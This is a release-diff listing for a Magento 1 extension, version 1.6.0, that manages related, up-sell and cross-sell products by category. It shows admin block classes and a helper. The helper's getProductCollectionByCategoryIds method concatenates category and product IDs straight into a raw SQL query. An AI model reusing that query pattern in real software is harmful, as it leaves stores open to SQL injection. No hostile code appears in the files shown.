Version Notes
Setting Related Products,Up-sell Products,Cross-sell Products easily,powerful assistant.
Download this release
Release Info
Developer | iifire |
Extension | advanced_related_product |
Version | 1.6.0 |
Comparing to | |
See all releases |
Version 1.6.0
- app/code/community/Iifire/Category/Block/Adminhtml/Categories.php +237 -0
- app/code/community/Iifire/Category/Block/Adminhtml/Category.php +20 -0
- app/code/community/Iifire/Category/Block/Adminhtml/Tree.php +288 -0
- app/code/community/Iifire/Category/Helper/Data.php +76 -0
- app/code/community/Iifire/Category/Helper/Toolbar.php +830 -0
- app/code/community/Iifire/Category/Helper/leida.php +258 -0
- app/code/community/Iifire/Category/controllers/Adminhtml/Iifire/CategoryController.php +100 -0
- app/code/community/Iifire/Category/etc/adminhtml.xml +30 -0
- app/code/community/Iifire/Category/etc/config.xml +103 -0
- app/code/community/Iifire/Category/etc/system.xml +57 -0
- app/code/community/Iifire/Category/install.php +155 -0
- app/code/community/Iifire/Category/sql/iifire_category_setup/mysql4-install-1.6.0.php +31 -0
- package.xml +18 -0
app/code/community/Iifire/Category/Block/Adminhtml/Categories.php
ADDED
@@ -0,0 +1,237 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
class Iifire_Category_Block_Adminhtml_Categories extends Mage_Adminhtml_Block_Catalog_Category_Tree
|
3 |
+
{
|
4 |
+
protected $_categoryIds;
|
5 |
+
protected $_selectedNodes = null;
|
6 |
+
|
7 |
+
public function __construct()
|
8 |
+
{
|
9 |
+
parent::__construct();
|
10 |
+
|
11 |
+
//$this->setTemplate('catalog/product/edit/categories.phtml');
|
12 |
+
}
|
13 |
+
|
14 |
+
/**
|
15 |
+
* Retrieve currently edited product
|
16 |
+
*
|
17 |
+
* @return Mage_Catalog_Model_Product
|
18 |
+
*/
|
19 |
+
public function getCategory()
|
20 |
+
{
|
21 |
+
$categoryId = $this->getRequest()->getParam('id');
|
22 |
+
$category = Mage::getModel('catalog/category')->load($categoryId);
|
23 |
+
if ($category->getId()) {
|
24 |
+
return $category;
|
25 |
+
} else {
|
26 |
+
return;
|
27 |
+
}
|
28 |
+
}
|
29 |
+
public function isReadonly()
|
30 |
+
{
|
31 |
+
//return $this->getProduct()->getCategoriesReadonly();
|
32 |
+
return false;
|
33 |
+
}
|
34 |
+
public function getCategoryType()
|
35 |
+
{
|
36 |
+
return Mage::registry('iifire_category_type');
|
37 |
+
}
|
38 |
+
public function getReloadUrl()
|
39 |
+
{
|
40 |
+
return $this->getUrl('*/iifire_category/edit',array('id'=>$this->getCategory()->getId()));
|
41 |
+
}
|
42 |
+
public function getEditUrl()
|
43 |
+
{
|
44 |
+
return $this->getUrl('*/iifire_category/edit');
|
45 |
+
}
|
46 |
+
public function getCategoriesSaveUrl()
|
47 |
+
{
|
48 |
+
if($this->getCategory()) {
|
49 |
+
return $this->getUrl('*/iifire_category/save',array('id'=>$this->getCategory()->getId()));
|
50 |
+
} else {
|
51 |
+
return $this->getUrl('*/iifire_category/save');
|
52 |
+
}
|
53 |
+
|
54 |
+
}
|
55 |
+
protected function getIdsString()
|
56 |
+
{
|
57 |
+
if ($this->getCategory()) {
|
58 |
+
$type = $this->getCategoryType();
|
59 |
+
if ($type=='related') {
|
60 |
+
return $this->getCategory()->getRelatedCategories();
|
61 |
+
} else if ($type=="upsell") {
|
62 |
+
return $this->getCategory()->getUpsellCategories();
|
63 |
+
} else if ($type=="crosssell") {
|
64 |
+
return $this->getCategory()->getCrosssellCategories();
|
65 |
+
} else {
|
66 |
+
return;
|
67 |
+
}
|
68 |
+
} else {
|
69 |
+
return;
|
70 |
+
}
|
71 |
+
}
|
72 |
+
|
73 |
+
public function getCategoryIds()
|
74 |
+
{
|
75 |
+
return explode(',',$this->getIdsString());
|
76 |
+
}
|
77 |
+
|
78 |
+
public function getRootNode()
|
79 |
+
{
|
80 |
+
// $root = parent::getRoot();
|
81 |
+
$root = $this->getRoot();
|
82 |
+
if ($root && in_array($root->getId(), $this->getCategoryIds())) {
|
83 |
+
$root->setChecked(true);
|
84 |
+
}
|
85 |
+
return $root;
|
86 |
+
}
|
87 |
+
|
88 |
+
public function getRoot($parentNodeCategory=null, $recursionLevel=3)
|
89 |
+
{
|
90 |
+
if (!is_null($parentNodeCategory) && $parentNodeCategory->getId()) {
|
91 |
+
return $this->getNode($parentNodeCategory, $recursionLevel);
|
92 |
+
}
|
93 |
+
$root = Mage::registry('root');
|
94 |
+
if (is_null($root)) {
|
95 |
+
$storeId = (int) $this->getRequest()->getParam('store');
|
96 |
+
|
97 |
+
if ($storeId) {
|
98 |
+
$store = Mage::app()->getStore($storeId);
|
99 |
+
$rootId = $store->getRootCategoryId();
|
100 |
+
}
|
101 |
+
else {
|
102 |
+
$rootId = Mage_Catalog_Model_Category::TREE_ROOT_ID;
|
103 |
+
}
|
104 |
+
|
105 |
+
$ids = $this->getSelectedCategoriesPathIds($rootId);
|
106 |
+
$tree = Mage::getResourceSingleton('catalog/category_tree')
|
107 |
+
->loadByIds($ids, false, false);
|
108 |
+
|
109 |
+
if ($this->getCategory()) {
|
110 |
+
$tree->loadEnsuredNodes($this->getCategory(), $tree->getNodeById($rootId));
|
111 |
+
}
|
112 |
+
|
113 |
+
$tree->addCollectionData($this->getCategoryCollection());
|
114 |
+
|
115 |
+
$root = $tree->getNodeById($rootId);
|
116 |
+
|
117 |
+
if ($root && $rootId != Mage_Catalog_Model_Category::TREE_ROOT_ID) {
|
118 |
+
$root->setIsVisible(true);
|
119 |
+
if ($this->isReadonly()) {
|
120 |
+
$root->setDisabled(true);
|
121 |
+
}
|
122 |
+
}
|
123 |
+
elseif($root && $root->getId() == Mage_Catalog_Model_Category::TREE_ROOT_ID) {
|
124 |
+
$root->setName(Mage::helper('catalog')->__('Root'));
|
125 |
+
}
|
126 |
+
|
127 |
+
Mage::register('root', $root);
|
128 |
+
}
|
129 |
+
|
130 |
+
return $root;
|
131 |
+
}
|
132 |
+
|
133 |
+
protected function _getNodeJson($node, $level=1)
|
134 |
+
{
|
135 |
+
$item = parent::_getNodeJson($node, $level);
|
136 |
+
|
137 |
+
$isParent = $this->_isParentSelectedCategory($node);
|
138 |
+
|
139 |
+
if ($isParent) {
|
140 |
+
$item['expanded'] = true;
|
141 |
+
}
|
142 |
+
|
143 |
+
// if ($node->getLevel() > 1 && !$isParent && isset($item['children'])) {
|
144 |
+
// $item['children'] = array();
|
145 |
+
// }
|
146 |
+
|
147 |
+
|
148 |
+
if (in_array($node->getId(), $this->getCategoryIds())) {
|
149 |
+
$item['checked'] = true;
|
150 |
+
}
|
151 |
+
|
152 |
+
if ($this->isReadonly()) {
|
153 |
+
$item['disabled'] = true;
|
154 |
+
}
|
155 |
+
return $item;
|
156 |
+
}
|
157 |
+
|
158 |
+
protected function _isParentSelectedCategory($node)
|
159 |
+
{
|
160 |
+
foreach ($this->_getSelectedNodes() as $selected) {
|
161 |
+
if ($selected) {
|
162 |
+
$pathIds = explode('/', $selected->getPathId());
|
163 |
+
if (in_array($node->getId(), $pathIds)) {
|
164 |
+
return true;
|
165 |
+
}
|
166 |
+
}
|
167 |
+
}
|
168 |
+
|
169 |
+
return false;
|
170 |
+
}
|
171 |
+
|
172 |
+
protected function _getSelectedNodes()
|
173 |
+
{
|
174 |
+
if ($this->_selectedNodes === null) {
|
175 |
+
$this->_selectedNodes = array();
|
176 |
+
$root = $this->getRoot();
|
177 |
+
foreach ($this->getCategoryIds() as $categoryId) {
|
178 |
+
if ($root) {
|
179 |
+
$this->_selectedNodes[] = $root->getTree()->getNodeById($categoryId);
|
180 |
+
}
|
181 |
+
}
|
182 |
+
}
|
183 |
+
|
184 |
+
return $this->_selectedNodes;
|
185 |
+
}
|
186 |
+
|
187 |
+
public function getCategoryChildrenJson($categoryId)
|
188 |
+
{
|
189 |
+
$category = Mage::getModel('catalog/category')->load($categoryId);
|
190 |
+
$node = $this->getRoot($category, 1)->getTree()->getNodeById($categoryId);
|
191 |
+
|
192 |
+
if (!$node || !$node->hasChildren()) {
|
193 |
+
return '[]';
|
194 |
+
}
|
195 |
+
|
196 |
+
$children = array();
|
197 |
+
foreach ($node->getChildren() as $child) {
|
198 |
+
$children[] = $this->_getNodeJson($child);
|
199 |
+
}
|
200 |
+
|
201 |
+
return Mage::helper('core')->jsonEncode($children);
|
202 |
+
}
|
203 |
+
|
204 |
+
public function getLoadTreeUrl($expanded=null)
|
205 |
+
{
|
206 |
+
return $this->getUrl('*/*/categoriesJson', array('_current'=>true));
|
207 |
+
}
|
208 |
+
|
209 |
+
/**
|
210 |
+
* Return distinct path ids of selected categories
|
211 |
+
*
|
212 |
+
* @param int $rootId Root category Id for context
|
213 |
+
* @return array
|
214 |
+
*/
|
215 |
+
public function getSelectedCategoriesPathIds($rootId = false)
|
216 |
+
{
|
217 |
+
$ids = array();
|
218 |
+
$categoryIds = $this->getCategoryIds();
|
219 |
+
if (empty($categoryIds)) {
|
220 |
+
return array();
|
221 |
+
}
|
222 |
+
$collection = Mage::getResourceModel('catalog/category_collection');
|
223 |
+
|
224 |
+
$collection->addFieldToFilter('entity_id', array('in'=>$categoryIds));
|
225 |
+
foreach ($collection as $item) {
|
226 |
+
if ($rootId && !in_array($rootId, $item->getPathIds())) {
|
227 |
+
continue;
|
228 |
+
}
|
229 |
+
foreach ($item->getPathIds() as $id) {
|
230 |
+
if (!in_array($id, $ids)) {
|
231 |
+
$ids[] = $id;
|
232 |
+
}
|
233 |
+
}
|
234 |
+
}
|
235 |
+
return $ids;
|
236 |
+
}
|
237 |
+
}
|
app/code/community/Iifire/Category/Block/Adminhtml/Category.php
ADDED
@@ -0,0 +1,20 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
class Iifire_Category_Block_Adminhtml_Category extends Mage_Adminhtml_Block_Template
|
3 |
+
{
|
4 |
+
public function __construct()
|
5 |
+
{
|
6 |
+
parent::__construct();
|
7 |
+
}
|
8 |
+
|
9 |
+
|
10 |
+
protected function _prepareLayout()
|
11 |
+
{
|
12 |
+
return parent::_prepareLayout();
|
13 |
+
|
14 |
+
}
|
15 |
+
|
16 |
+
public function getHeaderText()
|
17 |
+
{
|
18 |
+
return Mage::helper('iifire_show')->__('Iifire Category Management');
|
19 |
+
}
|
20 |
+
}
|
app/code/community/Iifire/Category/Block/Adminhtml/Tree.php
ADDED
@@ -0,0 +1,288 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
class Iifire_Category_Block_Adminhtml_Tree extends Mage_Adminhtml_Block_Catalog_Category_Abstract
|
4 |
+
{
|
5 |
+
|
6 |
+
protected $_withProductCount;
|
7 |
+
|
8 |
+
public function __construct()
|
9 |
+
{
|
10 |
+
parent::__construct();
|
11 |
+
$this->setUseAjax(true);
|
12 |
+
$this->_withProductCount = true;
|
13 |
+
}
|
14 |
+
|
15 |
+
protected function _prepareLayout()
|
16 |
+
{
|
17 |
+
$addUrl = $this->getUrl("*/*/add", array(
|
18 |
+
'_current'=>true,
|
19 |
+
'id'=>null,
|
20 |
+
'_query' => false
|
21 |
+
));
|
22 |
+
$this->setChild('store_switcher',
|
23 |
+
$this->getLayout()->createBlock('adminhtml/store_switcher')
|
24 |
+
->setSwitchUrl($this->getUrl('*/*/*', array('_current'=>true, '_query'=>false, 'store'=>null)))
|
25 |
+
->setTemplate('store/switcher/enhanced.phtml')
|
26 |
+
);
|
27 |
+
return parent::_prepareLayout();
|
28 |
+
}
|
29 |
+
|
30 |
+
protected function _getDefaultStoreId()
|
31 |
+
{
|
32 |
+
return Mage_Catalog_Model_Abstract::DEFAULT_STORE_ID;
|
33 |
+
}
|
34 |
+
|
35 |
+
public function getCategoryCollection()
|
36 |
+
{
|
37 |
+
$storeId = $this->getRequest()->getParam('store', $this->_getDefaultStoreId());
|
38 |
+
$collection = $this->getData('category_collection');
|
39 |
+
if (is_null($collection)) {
|
40 |
+
$collection = Mage::getModel('catalog/category')->getCollection();
|
41 |
+
|
42 |
+
/* @var $collection Mage_Catalog_Model_Resource_Eav_Mysql4_Category_Collection */
|
43 |
+
$collection->addAttributeToSelect('name')
|
44 |
+
->addAttributeToSelect('is_active')
|
45 |
+
->setProductStoreId($storeId)
|
46 |
+
->setLoadProductCount($this->_withProductCount)
|
47 |
+
->setStoreId($storeId);
|
48 |
+
|
49 |
+
$this->setData('category_collection', $collection);
|
50 |
+
}
|
51 |
+
return $collection;
|
52 |
+
}
|
53 |
+
|
54 |
+
public function getExpandButtonHtml()
|
55 |
+
{
|
56 |
+
return $this->getChildHtml('expand_button');
|
57 |
+
}
|
58 |
+
|
59 |
+
public function getCollapseButtonHtml()
|
60 |
+
{
|
61 |
+
return $this->getChildHtml('collapse_button');
|
62 |
+
}
|
63 |
+
|
64 |
+
public function getStoreSwitcherHtml()
|
65 |
+
{
|
66 |
+
return $this->getChildHtml('store_switcher');
|
67 |
+
}
|
68 |
+
|
69 |
+
public function getLoadTreeUrl($expanded=null)
|
70 |
+
{
|
71 |
+
$params = array('_current'=>true, 'id'=>null,'store'=>null);
|
72 |
+
if (
|
73 |
+
(is_null($expanded) && Mage::getSingleton('admin/session')->getIsTreeWasExpanded())
|
74 |
+
|| $expanded == true) {
|
75 |
+
$params['expand_all'] = true;
|
76 |
+
}
|
77 |
+
return $this->getUrl('*/catalog_category/categoriesJson', $params);
|
78 |
+
}
|
79 |
+
|
80 |
+
public function getNodesUrl()
|
81 |
+
{
|
82 |
+
return $this->getUrl('*/catalog_category/jsonTree');
|
83 |
+
}
|
84 |
+
public function getEditUrl()
|
85 |
+
{
|
86 |
+
return $this->getUrl('*/iifire_category/edit');
|
87 |
+
}
|
88 |
+
public function getSwitchTreeUrl()
|
89 |
+
{
|
90 |
+
return $this->getUrl("*/catalog_category/tree", array('_current'=>true, 'store'=>null, '_query'=>false, 'id'=>null, 'parent'=>null));
|
91 |
+
}
|
92 |
+
|
93 |
+
public function getIsWasExpanded()
|
94 |
+
{
|
95 |
+
return Mage::getSingleton('admin/session')->getIsTreeWasExpanded();
|
96 |
+
}
|
97 |
+
|
98 |
+
public function getMoveUrl()
|
99 |
+
{
|
100 |
+
return $this->getUrl('*/catalog_category/move', array('store'=>$this->getRequest()->getParam('store')));
|
101 |
+
}
|
102 |
+
|
103 |
+
public function getTree($parenNodeCategory=null)
|
104 |
+
{
|
105 |
+
$rootArray = $this->_getNodeJson($this->getRoot($parenNodeCategory));
|
106 |
+
$tree = isset($rootArray['children']) ? $rootArray['children'] : array();
|
107 |
+
return $tree;
|
108 |
+
}
|
109 |
+
|
110 |
+
public function getTreeJson($parenNodeCategory=null)
|
111 |
+
{
|
112 |
+
$rootArray = $this->_getNodeJson($this->getRoot($parenNodeCategory));
|
113 |
+
//var_dump($rootArray);
|
114 |
+
$json = Mage::helper('core')->jsonEncode(isset($rootArray['children']) ? $rootArray['children'] : array());
|
115 |
+
return $json;
|
116 |
+
}
|
117 |
+
|
118 |
+
/**
|
119 |
+
* Get JSON of array of categories, that are breadcrumbs for specified category path
|
120 |
+
*
|
121 |
+
* @param string $path
|
122 |
+
* @param string $javascriptVarName
|
123 |
+
* @return string
|
124 |
+
*/
|
125 |
+
public function getBreadcrumbsJavascript($path, $javascriptVarName)
|
126 |
+
{
|
127 |
+
if (empty($path)) {
|
128 |
+
return '';
|
129 |
+
}
|
130 |
+
|
131 |
+
$categories = Mage::getResourceSingleton('catalog/category_tree')
|
132 |
+
->setStoreId($this->getStore()->getId())->loadBreadcrumbsArray($path);
|
133 |
+
if (empty($categories)) {
|
134 |
+
return '';
|
135 |
+
}
|
136 |
+
foreach ($categories as $key => $category) {
|
137 |
+
$categories[$key] = $this->_getNodeJson($category);
|
138 |
+
}
|
139 |
+
return
|
140 |
+
'<script type="text/javascript">'
|
141 |
+
. $javascriptVarName . ' = ' . Mage::helper('core')->jsonEncode($categories) . ';'
|
142 |
+
. ($this->canAddSubCategory() ? '$("add_subcategory_button").show();' : '$("add_subcategory_button").hide();')
|
143 |
+
. '</script>';
|
144 |
+
}
|
145 |
+
|
146 |
+
/**
|
147 |
+
* Get JSON of a tree node or an associative array
|
148 |
+
*
|
149 |
+
* @param Varien_Data_Tree_Node|array $node
|
150 |
+
* @param int $level
|
151 |
+
* @return string
|
152 |
+
*/
|
153 |
+
protected function _getNodeJson($node, $level = 0)
|
154 |
+
{
|
155 |
+
// create a node from data array
|
156 |
+
if (is_array($node)) {
|
157 |
+
$node = new Varien_Data_Tree_Node($node, 'entity_id', new Varien_Data_Tree);
|
158 |
+
}
|
159 |
+
|
160 |
+
$item = array();
|
161 |
+
$item['text'] = $this->buildNodeName($node);
|
162 |
+
|
163 |
+
//$rootForStores = Mage::getModel('core/store')->getCollection()->loadByCategoryIds(array($node->getEntityId()));
|
164 |
+
$rootForStores = in_array($node->getEntityId(), $this->getRootIds());
|
165 |
+
|
166 |
+
$item['id'] = $node->getId();
|
167 |
+
$item['store'] = (int) $this->getStore()->getId();
|
168 |
+
$item['path'] = $node->getData('path');
|
169 |
+
|
170 |
+
$item['cls'] = 'folder ' . ($node->getIsActive() ? 'active-category' : 'no-active-category');
|
171 |
+
//$item['allowDrop'] = ($level<3) ? true : false;
|
172 |
+
$allowMove = $this->_isCategoryMoveable($node);
|
173 |
+
$item['allowDrop'] = $allowMove;
|
174 |
+
// disallow drag if it's first level and category is root of a store
|
175 |
+
$item['allowDrag'] = $allowMove && (($node->getLevel()==1 && $rootForStores) ? false : true);
|
176 |
+
|
177 |
+
if ((int)$node->getChildrenCount()>0) {
|
178 |
+
$item['children'] = array();
|
179 |
+
}
|
180 |
+
|
181 |
+
$isParent = $this->_isParentSelectedCategory($node);
|
182 |
+
if ($node->hasChildren()) {
|
183 |
+
$item['children'] = array();
|
184 |
+
if (!($this->getUseAjax() && $node->getLevel() > 1 && !$isParent)) {
|
185 |
+
foreach ($node->getChildren() as $child) {
|
186 |
+
$item['children'][] = $this->_getNodeJson($child, $level+1);
|
187 |
+
}
|
188 |
+
}
|
189 |
+
}
|
190 |
+
|
191 |
+
if ($isParent || $node->getLevel() < 2) {
|
192 |
+
$item['expanded'] = true;
|
193 |
+
}
|
194 |
+
|
195 |
+
return $item;
|
196 |
+
}
|
197 |
+
|
198 |
+
/**
|
199 |
+
* Get category name
|
200 |
+
*
|
201 |
+
* @param Varien_Object $node
|
202 |
+
* @return string
|
203 |
+
*/
|
204 |
+
public function buildNodeName($node)
|
205 |
+
{
|
206 |
+
$result = $this->htmlEscape($node->getName());
|
207 |
+
if ($this->_withProductCount) {
|
208 |
+
$result .= ' (' . $node->getProductCount() . ')';
|
209 |
+
}
|
210 |
+
return $result;
|
211 |
+
}
|
212 |
+
|
213 |
+
protected function _isCategoryMoveable($node)
|
214 |
+
{
|
215 |
+
$options = new Varien_Object(array(
|
216 |
+
'is_moveable' => true,
|
217 |
+
'category' => $node
|
218 |
+
));
|
219 |
+
|
220 |
+
Mage::dispatchEvent('adminhtml_catalog_category_tree_is_moveable',
|
221 |
+
array('options'=>$options)
|
222 |
+
);
|
223 |
+
|
224 |
+
return $options->getIsMoveable();
|
225 |
+
}
|
226 |
+
|
227 |
+
protected function _isParentSelectedCategory($node)
|
228 |
+
{
|
229 |
+
if ($node && $this->getCategory()) {
|
230 |
+
$pathIds = $this->getCategory()->getPathIds();
|
231 |
+
if (in_array($node->getId(), $pathIds)) {
|
232 |
+
return true;
|
233 |
+
}
|
234 |
+
}
|
235 |
+
|
236 |
+
return false;
|
237 |
+
}
|
238 |
+
|
239 |
+
/**
|
240 |
+
* Check if page loaded by outside link to category edit
|
241 |
+
*
|
242 |
+
* @return boolean
|
243 |
+
*/
|
244 |
+
public function isClearEdit()
|
245 |
+
{
|
246 |
+
return (bool) $this->getRequest()->getParam('clear');
|
247 |
+
}
|
248 |
+
|
249 |
+
/**
|
250 |
+
* Check availability of adding root category
|
251 |
+
*
|
252 |
+
* @return boolean
|
253 |
+
*/
|
254 |
+
public function canAddRootCategory()
|
255 |
+
{
|
256 |
+
$options = new Varien_Object(array('is_allow'=>true));
|
257 |
+
Mage::dispatchEvent(
|
258 |
+
'adminhtml_catalog_category_tree_can_add_root_category',
|
259 |
+
array(
|
260 |
+
'category' => $this->getCategory(),
|
261 |
+
'options' => $options,
|
262 |
+
'store' => $this->getStore()->getId()
|
263 |
+
)
|
264 |
+
);
|
265 |
+
|
266 |
+
return $options->getIsAllow();
|
267 |
+
}
|
268 |
+
|
269 |
+
/**
|
270 |
+
* Check availability of adding sub category
|
271 |
+
*
|
272 |
+
* @return boolean
|
273 |
+
*/
|
274 |
+
public function canAddSubCategory()
|
275 |
+
{
|
276 |
+
$options = new Varien_Object(array('is_allow'=>true));
|
277 |
+
Mage::dispatchEvent(
|
278 |
+
'adminhtml_catalog_category_tree_can_add_sub_category',
|
279 |
+
array(
|
280 |
+
'category' => $this->getCategory(),
|
281 |
+
'options' => $options,
|
282 |
+
'store' => $this->getStore()->getId()
|
283 |
+
)
|
284 |
+
);
|
285 |
+
|
286 |
+
return $options->getIsAllow();
|
287 |
+
}
|
288 |
+
}
|
app/code/community/Iifire/Category/Helper/Data.php
ADDED
@@ -0,0 +1,76 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
class Iifire_Category_Helper_Data extends Mage_Core_Helper_Abstract
|
4 |
+
{
|
5 |
+
protected $_crosssellNum = 4;
|
6 |
+
protected $_relatedNum = 4;
|
7 |
+
protected $_upsellNum = 4;
|
8 |
+
|
9 |
+
const XML_PRODUCT_CROSSSELL_NUM = 'iifire_category/product/crosssell';
|
10 |
+
const XML_PRODUCT_RELATED_NUM = 'iifire_category/product/related';
|
11 |
+
const XML_PRODUCT_UPSELL_NUM = 'iifire_category/product/upsell';
|
12 |
+
|
13 |
+
|
14 |
+
public function getCrosssellNum()
|
15 |
+
{
|
16 |
+
$num = (int)Mage::getStoreConfig(self::XML_PRODUCT_CROSSSELL_NUM);
|
17 |
+
return $num ? $num : $this->_crosssellNum;
|
18 |
+
}
|
19 |
+
public function getRelatedNum()
|
20 |
+
{
|
21 |
+
$num = (int)Mage::getStoreConfig(self::XML_PRODUCT_RELATED_NUM);
|
22 |
+
return $num ? $num : $this->_relatedNum;
|
23 |
+
}
|
24 |
+
public function getUpsellNum()
|
25 |
+
{
|
26 |
+
$num = (int)Mage::getStoreConfig(self::XML_PRODUCT_UPSELL_NUM);
|
27 |
+
return $num ? $num : $this->_upsellNum;
|
28 |
+
}
|
29 |
+
public function getTypeOptions()
|
30 |
+
{
|
31 |
+
return array(
|
32 |
+
'related' => $this->__('Related'),
|
33 |
+
'upsell' => $this->__('Up-sell'),
|
34 |
+
'crosssell' => $this->__('Cross-sell'),
|
35 |
+
'all' => $this->__('All'),
|
36 |
+
);
|
37 |
+
}
|
38 |
+
public function getCategoryIdString($orignIdString)
|
39 |
+
{
|
40 |
+
$categoryIds = str_replace(' ','',$orignIdString);
|
41 |
+
$categoryIds = explode(',',$categoryIds);
|
42 |
+
$tmp = array();
|
43 |
+
if (count($categoryIds)) {
|
44 |
+
foreach($categoryIds as $c) {
|
45 |
+
if (!in_array($c, $tmp) && $c) {
|
46 |
+
array_push($tmp,$c);
|
47 |
+
}
|
48 |
+
}
|
49 |
+
if (count($tmp)) {
|
50 |
+
return implode(',',$tmp);
|
51 |
+
} else {
|
52 |
+
return;
|
53 |
+
}
|
54 |
+
} else {
|
55 |
+
return;
|
56 |
+
}
|
57 |
+
}
|
58 |
+
public function getProductCollectionByCategoryIds($categoryIds,$productId)
|
59 |
+
{
|
60 |
+
$categoryProductTable = Mage::getSingleton('core/resource')->getTableName('catalog_category_product');
|
61 |
+
$select = "select distinct(product_id) product_id from {$categoryProductTable} where category_id in (".$categoryIds.") and product_id!={$productId} order by rand()";
|
62 |
+
$data = Mage::getSingleton('core/resource')->getConnection('core_read')->fetchAll($select);
|
63 |
+
$collection = Mage::getResourceModel('catalog/product_collection')
|
64 |
+
->addAttributeToSelect(Mage::getSingleton('catalog/config')->getProductAttributes())
|
65 |
+
->addMinimalPrice()
|
66 |
+
->addFinalPrice()
|
67 |
+
->addTaxPercents();
|
68 |
+
$collection->addAttributeToFilter('entity_id',array('in'=>array_values($data)));
|
69 |
+
|
70 |
+
Mage::getSingleton('catalog/product_status')->addVisibleFilterToCollection($collection);
|
71 |
+
Mage::getSingleton('catalog/product_visibility')->addVisibleInCatalogFilterToCollection($collection);
|
72 |
+
$collection->addStoreFilter();
|
73 |
+
$collection->getSelect()->order('rand()');
|
74 |
+
return $collection;
|
75 |
+
}
|
76 |
+
}
|
app/code/community/Iifire/Category/Helper/Toolbar.php
ADDED
@@ -0,0 +1,830 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
